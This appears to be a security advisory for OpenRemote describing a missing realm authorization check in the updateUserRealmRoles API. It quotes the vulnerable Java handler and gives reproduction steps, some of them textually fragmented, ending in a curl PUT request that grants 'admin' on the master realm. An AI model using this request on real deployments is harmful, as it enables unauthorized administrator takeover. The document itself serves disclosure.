A user who has write:admin in one Keycloak realm can call the Manager API to update Keycloak realm roles for users in another realm, including master. The handler uses the {realm} path segment when talking to the identity provider but does not check that the caller may administer that realm. This could result in a privilege escalation to master realm administrator if the attacker controls any user in master realm.
In manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java, there is no check to validate if the caller should be able to administer a realm they're trying to update.
@Override
public void updateUserRealmRoles(RequestParams requestParams, String realm, String userId, String[] roles) {
try {
identityService.getIdentityProvider().updateUserRealmRoles(
realm,
userId,
roles);
} catch (ClientErrorException ex) {
ex.printStackTrace(System.out);
throw new WebApplicationException(ex.getCause(), ex.getResponse().getStatus());
} catch (Exception ex) {
throw new WebApplicationException(ex);
}
}
master. Add a user and grant that user the OpenRemote client role write:admin. Remember the realm name (call it NEW_REALM).master, pick a low-privilege user (no admin realm role). Copy that user’s UUID (<master-user-uuid>).<token>) for NEW_REALM.curl -k -X PUT "https://<host>/api/<NEW_REALM>/user/master/userRealmRoles/<master-user-uuid>" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '["admin"]'
An attacker with the OpenRemote client role write:admin in any realm can call this API with {realm} set to another realm (for example master) and change Keycloak realm roles for users there. That can grant admin on master to a user UUID they target, which gives Keycloak administrator access for the master realm.
{
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T14:38:23Z",
"nvd_published_at": "2026-04-22T21:17:09Z",
"severity": "HIGH"
}